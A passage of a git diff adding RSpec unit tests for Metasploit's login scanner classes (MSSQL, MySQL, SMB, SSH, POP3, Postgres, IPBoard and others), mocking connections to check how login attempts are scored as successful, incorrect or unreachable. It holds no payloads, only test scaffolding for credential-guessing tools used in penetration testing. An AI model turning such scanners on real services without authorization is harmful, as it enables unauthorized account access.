'should use ActiveModel::Errors#full_messages' do + model.errors.should_receive(:full_messages).and_call_original + + described_class.new(model) + end + + context '#model' do + subject(:error_model) do + invalid.model + end + + it 'should be the passed in model' do + error_model.should == model + end + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/ipboard_spec.rb b/spec/lib/metasploit/framework/login_scanner/ipboard_spec.rb new file mode 100644 index 0000000000..593f8fbd8c --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/ipboard_spec.rb @@ -0,0 +1,122 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/ipboard' + +describe Metasploit::Framework::LoginScanner::IPBoard do + + subject { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + + context "#attempt_login" do + + let(:username) { 'admin' } + let(:password) { 'password' } + let(:server_nonce) { 'nonce' } + + let(:creds) do + Metasploit::Framework::Credential.new( + paired: true, + public: username, + private: password + ) + end + + let(:invalid_creds) do + Metasploit::Framework::Credential.new( + paired: true, + public: 'username', + private: 'novalid' + ) + end + + context "when Rex::Proto::Http::Client#connect raises Rex::ConnectionError" do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Rex::ConnectionError) + expect(subject.attempt_login(creds).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context "when Rex::Proto::Http::Client#connect raises Timeout::Error" do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Timeout::Error) + expect(subject.attempt_login(creds).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context "when Rex::Proto::Http::Client#connect raises EOFError" do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(EOFError) + expect(subject.attempt_login(creds).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context "when invalid IPBoard application" do + let(:not_found_warning) { 'Server nonce not present, potentially not an IP Board install or bad URI.' } + before :each do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + Rex::Proto::Http::Response.new(200) + end + end + + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + expect(subject.attempt_login(creds).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it 'returns proof warning about nonce not found' do + expect(subject.attempt_login(creds).proof).to eq(not_found_warning) + end + end + + context "when valid IPBoard application" do + before :each do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + + if req.opts['uri'] && req.opts['uri'].include?('index.php') && + req.opts['vars_get'] && + req.opts['vars_get']['app'] && + req.opts['vars_get']['app'] == 'core' && + req.opts['vars_get']['module'] && + req.opts['vars_get']['module'] == 'global' && + req.opts['vars_get']['section'] && + req.opts['vars_get']['section'] == 'login' && + req.opts['vars_get']['do'] && + req.opts['vars_get']['do'] == 'process' && + req.opts['vars_post'] && + req.opts['vars_post']['auth_key'] && + req.opts['vars_post']['auth_key'] == server_nonce && + req.opts['vars_post']['ips_username'] && + req.opts['vars_post']['ips_username'] == username && + req.opts['vars_post']['ips_password'] && + req.opts['vars_post']['ips_password'] == password + res = Rex::Proto::Http::Response.new(200) + res.headers['Set-Cookie'] = 'ipsconnect=ipsconnect_value;Path=/;,coppa=coppa_value;Path=/;' + elsif req.opts['uri'] && req.opts['uri'].include?('index.php') && req.opts['method'] == 'POST' + res = Rex::Proto::Http::Response.new(404) + else + res = Rex::Proto::Http::Response.new(200) + res.body = "name='auth_key' value='#{server_nonce}'" + end + + res + end + end + + context "when valid login" do + it 'returns status Metasploit::Model::Login::Status::SUCCESSFUL' do + expect(subject.attempt_login(creds).status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + end + + context "when invalid login" do + it 'returns status Metasploit::Model::Login::Status::INCORRECT' do + expect(subject.attempt_login(invalid_creds).status).to eq(Metasploit::Model::Login::Status::INCORRECT) + end + end + + end + end + + +end diff --git a/spec/lib/metasploit/framework/login_scanner/jenkins_spec.rb b/spec/lib/metasploit/framework/login_scanner/jenkins_spec.rb new file mode 100644 index 0000000000..67053e63dd --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/jenkins_spec.rb @@ -0,0 +1,10 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/jenkins' + +describe Metasploit::Framework::LoginScanner::Jenkins do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + +end diff --git a/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb b/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb new file mode 100644 index 0000000000..4acf939fce --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb @@ -0,0 +1,94 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/mssql' + +describe Metasploit::Framework::LoginScanner::MSSQL do + let(:public) { 'root' } + let(:private) { 'toor' } + + let(:pub_blank) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: '' + ) + } + + let(:pub_pub) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: public + ) + } + + let(:pub_pri) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private + ) + } + + + subject(:login_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: true + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::NTLM' + it_behaves_like 'Metasploit::Framework::Tcp::Client' + + it { should respond_to :windows_authentication } + + context 'validations' do + context '#windows_authentication' do + it 'is not valid for the string true' do + login_scanner.windows_authentication = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:windows_authentication]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.windows_authentication = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:windows_authentication]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.windows_authentication = true + expect(login_scanner.errors[:windows_authentication]).to be_empty + end + + it 'is valid for false class' do + login_scanner.windows_authentication = false + expect(login_scanner.errors[:windows_authentication]).to be_empty + end + end + end + + context '#attempt_login' do + context 'when the is a connection error' do + it 'returns a result with the connection_error status' do + my_scanner = login_scanner + my_scanner.should_receive(:mssql_login).and_raise ::Rex::ConnectionError + expect(my_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + end + + context 'when the login fails' do + it 'returns a result object with a status of Metasploit::Model::Login::Status::INCORRECT' do + my_scanner = login_scanner + my_scanner.should_receive(:mssql_login).and_return false + expect(my_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::INCORRECT + end + end + + context 'when the login succeeds' do + it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do + my_scanner = login_scanner + my_scanner.should_receive(:mssql_login).and_return true + expect(my_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL + end + end + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/mybook_live_spec.rb b/spec/lib/metasploit/framework/login_scanner/mybook_live_spec.rb new file mode 100644 index 0000000000..9ad1c2ffdd --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/mybook_live_spec.rb @@ -0,0 +1,10 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/mybook_live' + +describe Metasploit::Framework::LoginScanner::MyBookLive do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + +end diff --git a/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb b/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb new file mode 100644 index 0000000000..d9ca3d1ce4 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb @@ -0,0 +1,108 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/mysql' + +describe Metasploit::Framework::LoginScanner::MySQL do + let(:public) { 'root' } + let(:private) { 'toor' } + let(:pub_blank) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: '' + ) + } + + let(:pub_pub) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: public + ) + } + + let(:pub_pri) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private + ) + } + + subject(:login_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + context '#attempt_login' do + + context 'when the attempt is successful' do + it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do + ::RbMysql.should_receive(:connect).and_return "fake mysql handle" + expect(login_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL + end + end + + context 'when the attempt is unsuccessful' do + context 'due to connection refused' do + it 'returns a result with a status of Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + ::RbMysql.should_receive(:connect).and_raise Errno::ECONNREFUSED + expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns a result with the proof containing an appropriate error message' do + ::RbMysql.should_receive(:connect).and_raise Errno::ECONNREFUSED + expect(login_scanner.attempt_login(pub_pub).proof).to be_a(Errno::ECONNREFUSED) + end + end + + context 'due to connection timeout' do + it 'returns a result with a status of Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + ::RbMysql.should_receive(:connect).and_raise RbMysql::ClientError + expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns a result with the proof containing an appropriate error message' do + ::RbMysql.should_receive(:connect).and_raise RbMysql::ClientError + expect(login_scanner.attempt_login(pub_pub).proof).to be_a(RbMysql::ClientError) + end + end + + context 'due to operation timeout' do + it 'returns a result with a status of Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + ::RbMysql.should_receive(:connect).and_raise Errno::ETIMEDOUT + expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns a result with the proof containing an appropriate error message' do + ::RbMysql.should_receive(:connect).and_raise Errno::ETIMEDOUT + expect(login_scanner.attempt_login(pub_pub).proof).to be_a(Errno::ETIMEDOUT) + end + end + + context 'due to not being allowed to connect from this host' do + it 'returns a result with a status of Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + ::RbMysql.should_receive(:connect).and_raise RbMysql::HostNotPrivileged, "Host not privileged" + expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns a result with the proof containing an appropriate error message' do + ::RbMysql.should_receive(:connect).and_raise RbMysql::HostNotPrivileged, "Host not privileged" + expect(login_scanner.attempt_login(pub_pub).proof).to be_a(RbMysql::HostNotPrivileged) + end + end + + context 'due to access denied' do + it 'returns a result with a status of Metasploit::Model::Login::Status::INCORRECT' do + ::RbMysql.should_receive(:connect).and_raise RbMysql::AccessDeniedError, "Access Denied" + expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::INCORRECT + end + + it 'returns a result with the proof containing an appropriate error message' do + ::RbMysql.should_receive(:connect).and_raise RbMysql::AccessDeniedError, "Access Denied" + expect(login_scanner.attempt_login(pub_pub).proof).to be_a(RbMysql::AccessDeniedError) + end + end + end + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb new file mode 100644 index 0000000000..ce686c4d07 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb @@ -0,0 +1,83 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/pop3' + +describe Metasploit::Framework::LoginScanner::POP3 do + subject(:scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::Tcp::Client' + + context "#attempt_login" do + + let(:pub_blank) do + Metasploit::Framework::Credential.new( + paired: true, + public: "public", + private: '' + ) + end + context "Raised Exceptions" do + it "Rex::ConnectionError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(Rex::ConnectionError) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "Timeout::Error should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(Timeout::Error) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "EOFError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(EOFError) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context "Open Connection" do + let(:sock) {double('socket')} + + before(:each) do + sock.stub(:shutdown) + sock.stub(:close) + sock.stub(:closed?) + expect(scanner).to receive(:connect) + scanner.stub(:sock).and_return(sock) + scanner.should_receive(:select).with([sock],nil,nil,0.4) + end + + it "Server returns +OK" do + expect(sock).to receive(:get_once).exactly(3).times.and_return("+OK") + expect(sock).to receive(:put).with("USER public\r\n").once.ordered + expect(sock).to receive(:put).with("PASS \r\n").once.ordered + + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + + end + + it "Server Returns Something Else" do + sock.stub(:get_once).and_return("+ERROR") + + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::INCORRECT) + expect(result.proof).to eq("+ERROR") + + end + end + + end +end diff --git a/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb b/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb new file mode 100644 index 0000000000..074f098fe3 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb @@ -0,0 +1,75 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/postgres' + +describe Metasploit::Framework::LoginScanner::Postgres do + let(:public) { 'root' } + let(:private) { 'toor' } + let(:realm) { 'template1' } + + let(:full_cred) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private, + realm: realm + ) + } + + let(:cred_no_realm) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private + ) + } + + subject(:login_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: true + + context '#attempt_login' do + context 'when the login is successful' do + it 'returns a result object with a status of success' do + fake_conn = "fake_connection" + Msf::Db::PostgresPR::Connection.should_receive(:new).and_return fake_conn + fake_conn.should_receive(:close) + expect(login_scanner.attempt_login(full_cred).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL + end + end + + context 'when there is no realm on the credential' do + it 'uses template1 as the default realm' do + Msf::Db::PostgresPR::Connection.should_receive(:new).with('template1', 'root', 'toor', 'tcp://:') + login_scanner.attempt_login(cred_no_realm) + end + end + + context 'when the realm is invalid but the rest of the credential is not' do + it 'includes the details in the result proof' do + Msf::Db::PostgresPR::Connection.should_receive(:new).and_raise RuntimeError, "blah\tC3D000" + result = login_scanner.attempt_login(cred_no_realm) + expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT + expect(result.proof).to eq "C3D000, Creds were good but database was bad" + end + end + + context 'when the username or password is invalid' do + it 'includes a message in proof, indicating why it failed' do + Msf::Db::PostgresPR::Connection.should_receive(:new).and_raise RuntimeError, "blah\tC28000" + result = login_scanner.attempt_login(cred_no_realm) + expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT + expect(result.proof).to eq "Invalid username or password" + end + end + + context 'when any other type of error occurs' do + it 'returns a failure with the error message in the proof' do + Msf::Db::PostgresPR::Connection.should_receive(:new).and_raise RuntimeError, "unknown error" + result = login_scanner.attempt_login(cred_no_realm) + expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT + expect(result.proof).to eq "unknown error" + end + end + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/result_spec.rb b/spec/lib/metasploit/framework/login_scanner/result_spec.rb new file mode 100644 index 0000000000..62103d47e4 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/result_spec.rb @@ -0,0 +1,45 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner' + +describe Metasploit::Framework::LoginScanner::Result do + + let(:private) { 'toor' } + let(:proof) { 'foobar' } + let(:public) { 'root' } + let(:realm) { nil } + let(:status) { Metasploit::Model::Login::Status::SUCCESSFUL } + let(:cred) { + Metasploit::Framework::Credential.new(public: public, private: private, realm: realm, paired: true) + } + + subject(:login_result) { + described_class.new( + credential: cred, + proof: proof, + status: status + ) + } + + it { should respond_to :access_level } + it { should respond_to :credential } + it { should respond_to :proof } + it { should respond_to :status } + it { should respond_to :success? } + + context '#success?' do + context 'when the status code is success' do + it 'returns true' do + expect(login_result.success?).to be_truthy + end + end + + context 'when the status code is anything else' do + let(:status) { :connection_error } + it 'returns false' do + expect(login_result.success?).to be_falsey + end + end + end + + +end diff --git a/spec/lib/metasploit/framework/login_scanner/smb_spec.rb b/spec/lib/metasploit/framework/login_scanner/smb_spec.rb new file mode 100644 index 0000000000..2986b3ef99 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/smb_spec.rb @@ -0,0 +1,158 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/smb' + +describe Metasploit::Framework::LoginScanner::SMB do + let(:public) { 'root' } + let(:private) { 'toor' } + + let(:pub_blank) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: '' + ) + } + + let(:pub_pub) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: public + ) + } + + let(:pub_pri) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private + ) + } + + + subject(:login_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: true + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::NTLM' + it_behaves_like 'Metasploit::Framework::Tcp::Client' + + it { should respond_to :smb_chunk_size } + it { should respond_to :smb_name } + it { should respond_to :smb_native_lm } + it { should respond_to :smb_native_os } + it { should respond_to :smb_obscure_trans_pipe_level } + it { should respond_to :smb_pad_data_level } + it { should respond_to :smb_pad_file_level } + it { should respond_to :smb_pipe_evasion } + + context 'validations' do + context '#smb_verify_signature' do + it 'is not valid for the string true' do + login_scanner.smb_verify_signature = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:smb_verify_signature]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.smb_verify_signature = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:smb_verify_signature]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.smb_verify_signature = true + expect(login_scanner.errors[:smb_verify_signature]).to be_empty + end + + it 'is valid for false class' do + login_scanner.smb_verify_signature = false + expect(login_scanner.errors[:smb_verify_signature]).to be_empty + end + end + end + + context '#attempt_login' do + before(:each) do + login_scanner.stub_chain(:simple, :client, :auth_user, :nil?).and_return false + end + context 'when there is a connection error' do + it 'returns a result with the connection_error status' do + login_scanner.stub_chain(:simple, :login).and_raise ::Rex::ConnectionError + expect(login_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + end + + context 'when the credentials are correct, but we cannot login' do + [ + 0xC000006E, # => "STATUS_ACCOUNT_RESTRICTION", + 0xC000006F, # => "STATUS_INVALID_LOGON_HOURS", + 0xC0000070, # => "STATUS_INVALID_WORKSTATION", + 0xC0000071, # => "STATUS_PASSWORD_EXPIRED", + 0xC0000072, # => "STATUS_ACCOUNT_DISABLED", + 0xC000015B, # => "STATUS_LOGON_TYPE_NOT_GRANTED", + 0xC0000193, # => "STATUS_ACCOUNT_EXPIRED", + 0xC0000224, # => "STATUS_PASSWORD_MUST_CHANGE", + ].each do |code| + it "returns a DENIED_ACCESS status" do + exception = Rex::Proto::SMB::Exceptions::LoginError.new + exception.error_code = code + + login_scanner.stub_chain(:simple, :login).and_raise exception + login_scanner.stub_chain(:simple, :connect) + login_scanner.stub_chain(:simple, :disconnect) + login_scanner.stub_chain(:simple, :client, :auth_user, :nil?).and_return false + + expect(login_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::DENIED_ACCESS + end + end + + end + + context 'when the login fails' do + it 'returns a result object with a status of Metasploit::Model::Login::Status::INCORRECT' do + login_scanner.stub_chain(:simple, :login).and_return false + login_scanner.stub_chain(:simple, :connect).and_raise Rex::Proto::SMB::Exceptions::Error + expect(login_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::INCORRECT + end + end + + context 'when the login succeeds' do + context 'and the user is local admin' do + before(:each) do + login_scanner.simple = double + login_scanner.simple.stub(:connect).with(/.*admin\$/i) + login_scanner.simple.stub(:connect).with(/.*ipc\$/i) + login_scanner.simple.stub(:disconnect) + end + + it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do + login_scanner.stub_chain(:simple, :login).and_return true + result = login_scanner.attempt_login(pub_blank) + expect(result.status).to eq Metasploit::Model::Login::Status::SUCCESSFUL + expect(result.access_level).to eq described_class::AccessLevels::ADMINISTRATOR + end + end + + context 'and the user is NOT local admin' do + before(:each) do + login_scanner.simple = double + login_scanner.simple.stub(:connect).with(/.*admin\$/i).and_raise( + # STATUS_ACCESS_DENIED + Rex::Proto::SMB::Exceptions::ErrorCode.new.tap{|e|e.error_code = 0xC0000022} + ) + login_scanner.simple.stub(:connect).with(/.*ipc\$/i) + end + + it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do + login_scanner.stub_chain(:simple, :login).and_return true + result = login_scanner.attempt_login(pub_blank) + expect(result.status).to eq Metasploit::Model::Login::Status::SUCCESSFUL + expect(result.access_level).to_not eq described_class::AccessLevels::ADMINISTRATOR + end + end + end + end + +end + diff --git a/spec/lib/metasploit/framework/login_scanner/smh_spec.rb b/spec/lib/metasploit/framework/login_scanner/smh_spec.rb new file mode 100644 index 0000000000..d3a5bd861c --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/smh_spec.rb @@ -0,0 +1,90 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/smh' + +describe Metasploit::Framework::LoginScanner::Smh do + + subject(:smh_cli) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + context "#attempt_login" do + + let(:username) { 'admin' } + let(:password) { 'password' } + + let(:cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: username, + private: password + ) + end + + let(:invalid_cred) do + Metasploit::Framework::Credential.new( + paired: true, + public: 'username', + private: 'novalid' + ) + end + + context "when Rex::Proto::Http::Client#connect raises Rex::ConnectionError" do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Rex::ConnectionError) + expect(smh_cli.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context "when Rex::Proto::Http::Client#connect raises Timeout::Error" do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Timeout::Error) + expect(smh_cli.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context "when Rex::Proto::Http::Client#connect raises EOFError" do + it 'returns status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(EOFError) + expect(smh_cli.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + context "when valid HP System Management application" do + before :each do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv) do |cli, req| + + if req.opts['uri'] && req.opts['uri'].include?('/proxy/ssllogin') && + req.opts['vars_post'] && + req.opts['vars_post']['user'] && + req.opts['vars_post']['user'] == username && + req.opts['vars_post']['password'] && + req.opts['vars_post']['password'] == password + res = Rex::Proto::Http::Response.new(200) + res.headers['CpqElm-Login'] = 'success' + res + else + res = Rex::Proto::Http::Response.new(404) + end + + res + end + end + + context "when valid login" do + it 'returns status Metasploit::Model::Login::Status::SUCCESSFUL' do + expect(smh_cli.attempt_login(cred).status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + end + + context "when invalid login" do + it 'returns status Metasploit::Model::Login::Status::INCORRECT' do + expect(smh_cli.attempt_login(invalid_cred).status).to eq(Metasploit::Model::Login::Status::INCORRECT) + end + end + + end + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb b/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb new file mode 100644 index 0000000000..0dc0c8851c --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/snmp_spec.rb @@ -0,0 +1,56 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/snmp' + +describe Metasploit::Framework::LoginScanner::SNMP do + let(:public) { 'public' } + let(:private) { nil } + + let(:pub_comm) { + Metasploit::Framework::Credential.new( + paired: false, + public: public, + private: private + ) + } + + let(:invalid_detail) { + Metasploit::Framework::Credential.new( + paired: true, + public: nil, + private: nil + ) + } + + let(:detail_group) { + [ pub_comm ] + } + + subject(:snmp_scanner) { + described_class.new + } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + + + context '#attempt_login' do + before(:each) do + snmp_scanner.host = '127.0.0.1' + snmp_scanner.port = 161 + snmp_scanner.connection_timeout = 1 + snmp_scanner.stop_on_success = true + snmp_scanner.cred_details = detail_group + end + + it 'creates a Timeout based on the connection_timeout' do + ::Timeout.should_receive(:timeout).at_least(:once).with(snmp_scanner.connection_timeout) + snmp_scanner.attempt_login(pub_comm) + end + + it 'creates a SNMP Manager for each supported version of SNMP' do + ::SNMP::Manager.should_receive(:new).twice.and_call_original + snmp_scanner.attempt_login(pub_comm) + end + + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb b/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb new file mode 100644 index 0000000000..e36d723c72 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb @@ -0,0 +1,221 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/ssh' + +describe Metasploit::Framework::LoginScanner::SSH do + let(:public) { 'root' } + let(:private) { 'toor' } + let(:key) { OpenSSL::PKey::RSA.generate(2048).to_s } + + let(:pub_blank) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: '' + ) + } + + let(:pub_pub) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: public + ) + } + + let(:pub_pri) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private + ) + } + + let(:pub_key) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: key, + private_type: :ssh_key + ) + } + + let(:invalid_detail) { + Metasploit::Framework::Credential.new( + paired: true, + public: nil, + private: nil + ) + } + + let(:detail_group) { + [ pub_blank, pub_pub, pub_pri] + } + + subject(:ssh_scanner) { + described_class.new + } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + + + it { should respond_to :verbosity } + + context 'validations' do + + context 'verbosity' do + + it 'is valid with :debug' do + ssh_scanner.verbosity = :debug + expect(ssh_scanner.errors[:verbosity]).to be_empty + end + + it 'is valid with :info' do + ssh_scanner.verbosity = :info + expect(ssh_scanner.errors[:verbosity]).to be_empty + end + + it 'is valid with :warn' do + ssh_scanner.verbosity = :warn + expect(ssh_scanner.errors[:verbosity]).to be_empty + end + + it 'is valid with :error' do + ssh_scanner.verbosity = :error + expect(ssh_scanner.errors[:verbosity]).to be_empty + end + + it 'is valid with :fatal' do + ssh_scanner.verbosity = :fatal + expect(ssh_scanner.errors[:verbosity]).to be_empty + end + + it 'is invalid with a random symbol' do + ssh_scanner.verbosity = :foobar + expect(ssh_scanner).to_not be_valid + expect(ssh_scanner.errors[:verbosity]).to include 'is not included in the list' + end + + it 'is invalid with a string' do + ssh_scanner.verbosity = 'debug' + expect(ssh_scanner).to_not be_valid + expect(ssh_scanner.errors[:verbosity]).to include 'is not included in the list' + end + end + + + end + + context '#attempt_login' do + before(:each) do + 